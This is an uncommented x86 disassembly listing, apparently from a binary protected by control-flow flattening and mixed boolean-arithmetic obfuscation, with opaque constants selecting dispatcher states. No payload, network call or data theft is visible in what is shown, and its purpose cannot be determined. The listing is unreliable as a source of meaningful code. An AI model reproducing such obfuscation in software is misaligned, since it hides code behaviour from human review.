xor eax, 0xffffffff
or edx, 0x4466857a
and eax, edx
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe945e450
or eax, edx
and ecx, 0xe945e450
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
sub eax, 0xeeea62c6
add eax, 0xc0a00049
add eax, 0xeeea62c6
mov edx, 0xffffffff
xor edx, 0x50025ed0
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x50025ed0
add eax, edx
sub eax, ecx
add eax, 0x5d43e1ba
sub eax, 0x62ce614a
sub eax, 0x5d43e1ba
add eax, 0xc1036cbf
add eax, 0xf34c05f7
mov esi, 0xffffffff
xor esi, 0xe2d9b97c
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xe2d9b97c
or eax, 0xe2d9b97c
imul eax, edx
add eax, ecx
imul eax, eax, 0xca3ebc30
mov edx, eax
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xbb1eb781
mov esi, 0xffffffff
xor esi, 0x7afbc649
mov ecx, edx
and ecx, 0x7afbc649
and eax, esi
mov dword [ebp - 0x3c], eax
mov ebx, edi
and ebx, 0x7afbc649
mov eax, esi
and eax, 0xbb1eb781
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x3c]
or ecx, eax
mov eax, dword [ebp - 0x38]
or ebx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0x7afbc649
and edx, esi
or ecx, edx
mov esi, ecx
xor esi, 0xffffffff
xor ecx, 0xffffffff
and esi, ecx
mov ecx, 0xa119fbf8
or ecx, 0xa119fbf8
xor ecx, 0xffffffff
or esi, ecx
xor esi, 0xffffffff
mov ecx, 0x7439a8bf
mov edx, 0x96bc6fe3
cmp esi, 0x2963c4c6
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov ecx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x28]
mov esi, 0x17dba406
mov dword [0x101d25c0], 1
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov edx, esp
mov dword [ebp - 0x90], edx
push eax
mov eax, esp
mov dword [ebp - 0x8c], eax
push eax
mov ebx, esp
mov dword [ebp - 0x88], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x84], ebx
sub esp, 0x10
mov ebx, esp
mov dword [ebp - 0x80], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x7c], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x78], ebx
sub esp, 0x10
mov ebx, esp
mov dword [ebp - 0x74], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x70], ebx
push eax
sub esp, 0xffc
mov ebx, esp
mov dword [ebp - 0x6c], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x68], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x64], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x60], ebx
sub esp, 0x10
mov ebx, esp
mov dword [ebp - 0x5c], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x58], ebx
sub esp, 0x20
mov ebx, esp
mov dword [ebp - 0x54], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x50], ebx
push eax
mov ebx, esp
mov dword [ebp - 0x4c], ebx
mov dword [edx], edi
mov dword [eax], ecx
mov ecx, dword [eax]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x1c]
cmp ecx, 0
setne cl
mov byte [ebp - 0x45], cl
mov ecx, 0x7439a8bf
mov edx, 0x7ab68d37
cmp esi, 0xe8a45131
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [0x101cdcac]
xor edx, edx
div dword [0x101cdcb0]
mov ecx, 0xe2b96f73
xor edx, edx
div ecx
or eax, 0x203c1820
sub eax, 0x2cf2cb4e
add eax, 0x632af9e4
add eax, 0x2cf2cb4e
mov edx, eax
xor edx, 0xffffffff
and edx, 0xb931df64
mov esi, 0xffffffff
xor esi, 0xb931df64
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xb931df64
or eax, 0xb931df64
imul eax, edx
add eax, ecx
imul eax, eax, 0xe861988d
xor eax, 0xd5e55755
imul eax, eax, 0x2656542
sub eax, 0x52fef1ea
xor eax, 0x9b414e1f
imul eax, eax, 0x4a4b1a55
mov edx, eax
xor edx, 0xffffffff
and edx, 0x19fc4ed1
mov esi, 0xffffffff
xor esi, 0x19fc4ed1
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x19fc4ed1
or eax, 0x19fc4ed1
imul eax, edx
add eax, ecx
and eax, 0x3f3fb059
and eax, 0x2f966423
xor eax, 0x3bfd50a6
add eax, 0xb00d849c
mov edx, 0xffffffff
xor edx, 0x901e9d9
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x901e9d9
add eax, edx
sub eax, ecx
sub eax, 0x3e167610
add eax, 0xbf93d30f
add eax, 0x3e167610
add eax, 0x285e15f
sub eax, 0xdf5a24db
sub eax, 0xce195f81
add eax, 0xdf5a24db
mov ecx, eax
and ecx, 0x7b75066b
shl ecx, 1
add eax, 0x7b75066b
sub eax, ecx
mov ecx, eax
and ecx, 0x645bccba
xor ecx, 0xffffffff
add eax, 0x645bccba
add eax, 1
add eax, ecx
mov ecx, 0x38aeae23
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0xe73ab0bb
sub eax, ecx
mov ecx, 0x1e0efe98
xor edx, edx
div ecx
mov ecx, 0xccb8e5c0
xor edx, edx
div ecx
imul eax, eax, 0x504c9b63
and eax, 0x52a2c655
add eax, 0xe244f11e
sub eax, 0x639675a6
mov ecx, 0x960071b1
xor edx, edx
div ecx
xor eax, 0x4f34aaab
mov ecx, 0xd4493e95
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, 0xe1832aa5
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, 0xabebd1ac
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov esi, ecx
and esi, 0xe60eacf1
or ecx, 0xe60eacf1
add esi, ecx
or esi, 0xbd5088c9
xor esi, 0x478ab1aa
add esi, 0x3abdd5f6
mov edx, esi
xor edx, 0xffffffff
and edx, 0x65348be4
mov edi, 0xffffffff
xor edi, 0x65348be4
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0x65348be4
or esi, 0x65348be4
imul esi, edx
add esi, ecx
sub esi, 0xa4e11c73
mov ecx, 0x3a642604
mov edx, 0xcd397d5c
cmp esi, 0x17bc498c
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [0x101cdcb4]
mov edx, dword [0x101cdcb8]
mov ecx, eax
xor ecx, edx
xor edx, 0xffffffff
and eax, edx
shl eax, 1
sub eax, ecx
add eax, 0x18d247e2
sub eax, 0x3828f4b5
mov ecx, 0x3e91e93f
xor edx, edx
div ecx
mov ecx, 0x64e3732
xor edx, edx
div ecx
mov esi, eax
add esi, 0xf1c20e13
sub esi, 0xf88d6e51
sub esi, 0x9219d96
mov eax, esi
and eax, 0x9ee95144
xor eax, 0xffffffff
add esi, 0x9ee95144
add esi, 1
add esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x546c3f02
mov edx, 0xffffffff
xor edx, 0x546c3f02
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xe7f5a797
and ecx, 0x546c3f02
and edx, 0xe7f5a797
or eax, esi
or ecx, edx
xor eax, ecx
mov esi, eax
and esi, 0x40bbac33
xor eax, 0x40bbac33
or esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xec0538ea
mov edx, 0xffffffff
xor edx, 0xec0538ea
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x6adbccf2
and ecx, 0xec0538ea
and edx, 0x6adbccf2
or eax, esi
or ecx, edx
xor eax, ecx
xor ecx, ecx
sub ecx, 0x15299120
add eax, ecx
sub eax, 0x5bfea659
imul ecx, eax, 0xd0c48ea6
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xd5c12b78
mov edx, 0xffffffff
xor edx, 0xd5c12b78
and ecx, edx
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xa8256994
or ecx, 0xa8256994
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
add eax, 0xcbcd372f
sub eax, 0x26df1f9a
mov edx, eax
xor edx, 0xffffffff
and edx, 0x90b73a62
mov esi, 0xffffffff
xor esi, 0x90b73a62
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x90b73a62
or eax, 0x90b73a62
imul eax, edx
add eax, ecx
and eax, 0x50fd10ab
mov ecx, 0xfe913e0c
xor edx, edx
div ecx
sub eax, 0xefcfc697
imul eax, eax, 0x834b7f59
mov ecx, 0x17e13ca0
xor edx, edx
div ecx
mov esi, eax
xor esi, 0xffffffff
mov dword [ebp - 0x9c], esi
mov edx, 0xffffffff
xor edx, 0x3a4ffa6e
mov ecx, 0xffffffff
xor ecx, 0xd3f714f3
and esi, 0xd3f714f3
and eax, ecx
mov edi, edx
and edi, 0xd3f714f3
mov ebx, ecx
and ebx, 0x3a4ffa6e
or esi, eax
mov eax, dword [ebp - 0x9c]
or edi, ebx
xor esi, edi
or eax, edx
xor eax, 0xffffffff
or ecx, 0xd3f714f3
and eax, ecx
or esi, eax
mov ecx, 0xffffffff
xor ecx, 0x729a08
mov eax, esi
and eax, ecx
mov ecx, esi
xor ecx, 0x729a08
add esi, ecx
sub esi, eax
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xe4d2221f
mov edx, 0xffffffff
xor edx, 0xe4d2221f
and esi, edx
mov eax, 0xffffffff
xor eax, 0xbac5a251
and eax, 0xe4d2221f
and edx, 0xbac5a251
or ecx, esi
or eax, edx
xor ecx, eax
mov eax, ecx
xor eax, 0xa07a0776
xor eax, 0xffffffff
and eax, 0xa07a0776
shl eax, 1
sub eax, 0xa07a0776
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x98], eax
mov esi, 0xffffffff
xor esi, 0x9519526d
mov edx, 0xffffffff
xor edx, 0x237f6e7d
and eax, 0x237f6e7d
and ecx, edx
mov edi, esi
and edi, 0x237f6e7d
mov ebx, edx
and ebx, 0x9519526d
or eax, ecx
mov ecx, dword [ebp - 0x98]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x237f6e7d
and ecx, edx
or eax, ecx
mov ecx, eax
and ecx, 0x2bc3298f
shl ecx, 1
xor eax, 0x2bc3298f
add eax, ecx
mov ecx, eax
or ecx, ecx
xor ecx, 0xffffffff
mov edx, 0xf0c1abd0
or edx, 0xf0c1abd0
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
or eax, 0xf0c1abd0
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x2b2e712e
mov edx, 0xffffffff
xor edx, 0x2b2e712e
and ecx, edx
or eax, ecx
imul esi, eax, 0xd480a070
mov eax, esi
xor eax, 0xffffffff
and eax, 0xa1162a30
mov edx, 0xffffffff
xor edx, 0xa1162a30
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xb037c507
and ecx, 0xa1162a30
and edx, 0xb037c507
or eax, esi
or ecx, edx
xor eax, ecx
xor eax, 0xd3c8df4e
mov ecx, 0xc150ae34
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov edx, 0xffffffff
xor edx, 0xe939112e
add ecx, edx
add ecx, 1
sub ecx, 0x17b04e16
add ecx, 0x9f00ec87
add ecx, 0x17b04e16
mov esi, ecx
and esi, 0xf1391c2f
xor esi, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf1391c2f
or ecx, edx
xor esi, 0xffffffff
xor ecx, 0xffffffff
or esi, ecx
add esi, 0x5d4f7f88
mov ecx, 0x3a642604
mov edx, 0x148eea26
cmp esi, 0x381e662
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [0x101cdcd4]
sub eax, dword [0x101cdcd8]
sub eax, 0xffc89b2d
and eax, 0x6d29ed35
mov ecx, 0xea81ff9
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe473c4b9
and ecx, edx
or eax, 0xe473c4b9
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, ecx
and eax, 0x2a387eb7
or ecx, 0x2a387eb7
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xeab80b52
mov esi, 0xffffffff
xor esi, 0xeab80b52
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xeab80b52
or eax, 0xeab80b52
imul eax, edx
add eax, ecx
mov ecx, 0xaecfefc7
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0xba14d470
shl ecx, 1
xor eax, 0xba14d470
add eax, ecx
imul eax, eax, 0x5e0c5294
mov edx, 0xffffffff
xor edx, 0xd5c6bbcd
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xd5c6bbcd
add eax, edx
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0x6b57725f
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x6b57725f
or eax, 0x6b57725f
imul eax, edx
add eax, ecx
sub eax, 0xed941a94
add eax, 0xdcd9a4aa
add eax, 0xed941a94
mov ecx, 0x34a88dd9
xor edx, edx
div ecx
mov ecx, 0xd50eeb0c
xor edx, edx
div ecx
mov ecx, 0xffffffff
xor ecx, 0x203434c0
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
xor eax, 0x6b7372c
imul eax, eax, 0x1329d881
mov ecx, eax
xor ecx, 0x2c9c8c36
xor ecx, 0xffffffff
and ecx, 0x2c9c8c36
shl ecx, 1
sub ecx, 0x2c9c8c36
sub eax, ecx
mov ecx, 0x6f91e469
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x8e054372
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x8e054372
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xcb11977a
add eax, ecx
add eax, 1
mov ecx, 0xfb7490c5
xor edx, edx
div ecx
mov ecx, eax
mov edx, 0xffffffff
xor edx, 0xa0f2b4ad
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, 0x93c56ae7
xor edx, edx
div ecx
mov ecx, 0x63f81ab9
xor edx, edx
div ecx
and eax, 0x155e8fdd
mov edx, eax
xor edx, 0xffffffff
and edx, 0xb608127e
mov esi, 0xffffffff
xor esi, 0xb608127e
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xb608127e
or eax, 0xb608127e
imul eax, edx
add eax, ecx
or eax, 0xa6f91e2f
add eax, 0x3128a8e0
mov ecx, 0xf9179613
xor edx, edx
div ecx
sub eax, 0x4f2d1c75
sub eax, 0x2f9c787d
add eax, 0x4f2d1c75
add eax, 0xf72864da
mov ecx, 0xecdc37ba
xor edx, edx
div ecx
or eax, 0x731a9be1
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
or ecx, edx
and ecx, 0xf4569dd2
xor ecx, 0xffffffff
mov edx, 0xf4569dd2
and edx, 0xf4569dd2
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
and ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xac], eax
mov esi, 0xffffffff
xor esi, 0x5ff2f0d8
mov edx, 0xffffffff
xor edx, 0x39bf51cb
and eax, 0x39bf51cb
and ecx, edx
mov edi, esi
and edi, 0x39bf51cb
mov ebx, edx
and ebx, 0x5ff2f0d8
or eax, ecx
mov ecx, dword [ebp - 0xac]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x39bf51cb
and ecx, edx
or eax, ecx
add eax, 0xe4f2c591
xor eax, 0x85846f4d
add eax, 0xfaa15ca1
sub eax, 0xc3ad100
sub eax, 0xfaa15ca1
mov ecx, 0xf770f93e
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0x9002c194
mov edx, 0x6e0cd93a
cmp esi, 0x2312ee4
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov eax, dword [0x101cdcdc]
or eax, dword [0x101cdce0]
add eax, 0xd1aced28
sub eax, 0xe1813e13
sub eax, 0xd1aced28
mov ecx, 0x88ab2f05
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0x9721cccf
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xea9d3447
mov edx, 0xffffffff
xor edx, 0xea9d3447
and ecx, edx
or eax, ecx
mov ecx, 0x284d24c0
xor edx, edx
div ecx
mov esi, eax
xor eax, eax
sub eax, 0xeed29817
sub esi, eax
or esi, 0xab1e2efa
mov eax, esi
xor eax, 0xffffffff
and eax, 0x50a7a129
mov edx, 0xffffffff
xor edx, 0x50a7a129
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x26675c05
and ecx, 0x50a7a129
and edx, 0x26675c05
or eax, esi
or ecx, edx
xor eax, ecx
sub eax, 0x5b6c01f5
sub eax, 0x9fafc91d
add eax, 0x5b6c01f5
mov edx, eax
xor edx, 0xffffffff
and edx, 0x31d2ce5b
mov esi, 0xffffffff
xor esi, 0x31d2ce5b
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x31d2ce5b
or eax, 0x31d2ce5b
imul eax, edx
add eax, ecx
imul ecx, eax, 0xf1ae6e92
mov eax, ecx
xor eax, 0x5cdce7cd
xor eax, 0xffffffff
and eax, 0x5cdce7cd
shl eax, 1
sub eax, 0x5cdce7cd
sub ecx, eax
or ecx, 0x1df2e28
and ecx, 0x44641fd8
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x8ddff863
or eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x8ddff863
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
add eax, 0xa6160f2f
imul eax, eax, 0x65bfe24
mov ecx, 0x4db8ac46
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0x2372d117
mov eax, 0xffffffff
xor eax, 0x7a7aeec0
add ecx, eax
add ecx, 1
mov eax, ecx
and eax, 0xd1c46140
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd1c46140
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
imul eax, eax, 0x59d9afa0
or eax, 0x3921c53d
sub eax, 0x21ad1592
or eax, 0xd7ab2ac4
add eax, 0x8dfab819
xor eax, 0xe500242c
add eax, 0x9f6361e
add eax, 0x25cf82d5
mov ecx, 0xd7609a70
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x26221b12
mov edx, 0xffffffff
xor edx, 0x26221b12
and ecx, edx
sub ecx, eax
mov edx, 0xffffffff
xor edx, 0x46b1243a
mov eax, ecx
xor eax, edx
and eax, ecx
or eax, 0x5a0b5cb2
or eax, 0x152d7935
mov ecx, eax
and ecx, 0x530e3d86
shl ecx, 1
xor eax, 0x530e3d86
add eax, ecx
mov ecx, 0x4b3c51b1
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
or ecx, 0x498e1cc7
mov esi, ecx
and esi, 0xf960baf7
or ecx, 0xf960baf7
add esi, ecx
mov edx, 0xffffffff
xor edx, 0xf0c62233
mov ecx, esi
and ecx, edx
mov edx, esi
xor edx, 0xf0c62233
add esi, edx
sub esi, ecx
mov ecx, 0xffffffff
xor ecx, 0x782c80e7
add esi, ecx
add esi, 1
mov ecx, 0x8fd87e84
mov edx, 0xe4b6ccfc
cmp esi, 0x4262585e
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1009a830
mov ecx, dword [0x101cdce4]
or ecx, dword [0x101cdce8]
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xb4], eax
mov esi, 0xffffffff
xor esi, 0x7b001bb4
mov edx, 0xffffffff
xor edx, 0xc6792f3f
and eax, 0xc6792f3f
and ecx, edx
mov edi, esi
and edi, 0xc6792f3f
mov ebx, edx
and ebx, 0x7b001bb4
or eax, ecx
mov ecx, dword [ebp - 0xb4]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xc6792f3f
and ecx, edx
or eax, ecx
add eax, 0xca417d01
mov edx, 0xffffffff
xor edx, 0xdb7f24de
mov ecx, eax
xor ecx, edx
and ecx, eax
mov esi, 0xffffffff
xor esi, 0x7ca3f531
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x7ca3f531
or ecx, 0x7ca3f531
imul ecx, edx
add ecx, eax
mov esi, 0xffffffff
xor esi, 0xf817bfde
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xf817bfde
or ecx, 0xf817bfde
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0xecdf967a
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xecdf967a
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
and eax, 0x94df426d
mov ecx, eax
and ecx, 0x97151ce5
xor eax, 0x97151ce5
or ecx, eax
sub ecx, 0xd9c477a4
add ecx, 0xc3402ef1
add ecx, 0xd9c477a4
mov eax, ecx
xor eax, 0x3d50f6a5
mov edx, 0xffffffff
xor edx, 0x3d50f6a5
and ecx, edx
shl ecx, 1
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xb0], eax
mov esi, 0xffffffff
xor esi, 0xb4ff429
mov edx, 0xffffffff
xor edx, 0x1f59d70d
and eax, 0x1f59d70d
and ecx, edx
mov edi, esi
and edi, 0x1f59d70d
mov ebx, edx
and ebx, 0xb4ff429
or eax, ecx
mov ecx, dword [ebp - 0xb0]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x1f59d70d
and ecx, edx
or eax, ecx
sub eax, 0x2f949361
imul eax, eax, 0x2dd64728
mov ecx, 0x17f563e8
xor edx, edx
div ecx
and eax, 0xfc411302
mov ecx, 0x410a0804
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x9e6ba86c
xor eax, 0x9e6ba86c
or ecx, eax
sub ecx, 0xadf5bf7f
sub ecx, 0x76bf12a6
or ecx, 0xcad55943
and ecx, 0x179d438e
or ecx, ecx
xor ecx, 0xffffffff
mov eax, 0x71c06129
or eax, 0x71c06129
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x8b774b41
mov esi, 0xffffffff
xor esi, 0x8b774b41
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x8b774b41
or ecx, 0x8b774b41
imul ecx, edx
add ecx, eax
sub ecx, 0x5c904f1c
add ecx, 0x48e3fcd2
add ecx, 0x5c904f1c
sub ecx, 0x663ca0cf
mov eax, ecx
and eax, 0xcb2de182
xor ecx, 0xcb2de182
or eax, ecx
mov ecx, eax
and ecx, 0x9f597205
xor ecx, 0xffffffff
and eax, 0x9f597205
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x685f983c
or eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x685f983c
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
xor eax, 0x9513596
mov esi, 0xffffffff
xor esi, 0xb2f02aab
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xb2f02aab
or eax, 0xb2f02aab
imul eax, edx
add eax, ecx
and eax, 0x38b66a2c
imul eax, eax, 0xa91e2f93
add eax, 0xa107e7c0
mov ecx, 0x2fb7c906
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0x652231f7
xor eax, 0xffffffff
and eax, 0x652231f7
shl eax, 1
sub eax, 0x652231f7
sub ecx, eax
mov eax, ecx
and eax, 0xa8322a82
or ecx, 0xa8322a82
add eax, ecx
mov ecx, 0xdbad6ac
xor edx, edx
div ecx
mov ecx, eax
mov edx, 0xffffffff
xor edx, 0xbc7bd137
mov eax, ecx
xor eax, edx
and eax, ecx
imul eax, eax, 0xefe2aceb
mov edx, 0xffffffff
xor edx, 0x158190d8
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x158190d8
add eax, edx
sub eax, ecx
cmp eax, 0xed65c338
ja 0x1008a9a5
jmp 0x1009a835
mov eax, dword [0x101cdcf4]
or eax, dword [0x101cdcf8]
add eax, 0x2da0ecd0
mov ecx, 0xd768b751
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x6e09bff
mov esi, 0xffffffff
xor esi, 0x6e09bff
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x6e09bff
or eax, 0x6e09bff
imul eax, edx
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x4dc35856
mov esi, 0xffffffff
xor esi, 0x4dc35856
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x4dc35856
or eax, 0x4dc35856
imul eax, edx
add eax, ecx
mov ecx, 0xfa616184
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0x33bed54f
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x9cb723ae
mov esi, 0xffffffff
xor esi, 0x9cb723ae
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x9cb723ae
or eax, 0x9cb723ae
imul eax, edx
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x424f60a
mov ecx, 0xffffffff
xor ecx, 0xeecafb9c
or eax, edx
or ecx, 0xeecafb9c
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0x6dff82b2
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xde85f287
mov eax, 0xffffffff
xor eax, 0xc9b8211e
or ecx, edx
or eax, 0xc9b8211e
xor ecx, 0xffffffff
and ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xc4], eax
mov esi, 0xffffffff
xor esi, 0x2bcb4e8d
mov edx, 0xffffffff
xor edx, 0x90f207b0
and eax, 0x90f207b0
and ecx, edx
mov edi, esi
and edi, 0x90f207b0
mov ebx, edx
and ebx, 0x2bcb4e8d
or eax, ecx
mov ecx, dword [ebp - 0xc4]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x90f207b0
and ecx, edx
or eax, ecx
xor ecx, ecx
sub ecx, 0x489d29a5
sub eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x3f4d69d9
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, 0xbbbd7612
xor edx, edx
div ecx
and eax, 0x26eb3204
mov ecx, 0x1eb85fca
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xc92d3a03
mov edx, 0xffffffff
xor edx, 0xc92d3a03
and eax, edx
shl eax, 1
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0x8e2f068a
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x8e2f068a
or eax, 0x8e2f068a
imul eax, edx
add eax, ecx
mov ecx, 0x3c0a2680
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x94edea5d
mov edx, 0xffffffff
xor edx, 0x94edea5d
and eax, edx
sub eax, ecx
mov ecx, 0x11426a75
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x4dced5c6
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x253967bc
mov esi, 0xffffffff
xor esi, 0x253967bc
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x253967bc
or ecx, 0x253967bc
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xa10ae6e5
mov edx, 0xffffffff
xor edx, 0xa10ae6e5
and ecx, edx
shl ecx, 1
sub ecx, eax
xor ecx, 0xa15b3997
mov eax, ecx
xor eax, 0x1de982a5
xor eax, 0xffffffff
or ecx, 0x1de982a5
and ecx, eax
add ecx, 0xd74b7485
mov eax, ecx
and eax, 0xe71d5edf
shl eax, 1
add ecx, 0xe71d5edf
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xa0c811e3
mov edx, 0xffffffff
xor edx, 0xa0c811e3
and ecx, edx
sub ecx, eax
sub ecx, 0x77f5925b
add ecx, 0x5ccf6530
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xc0], eax
mov esi, 0xffffffff
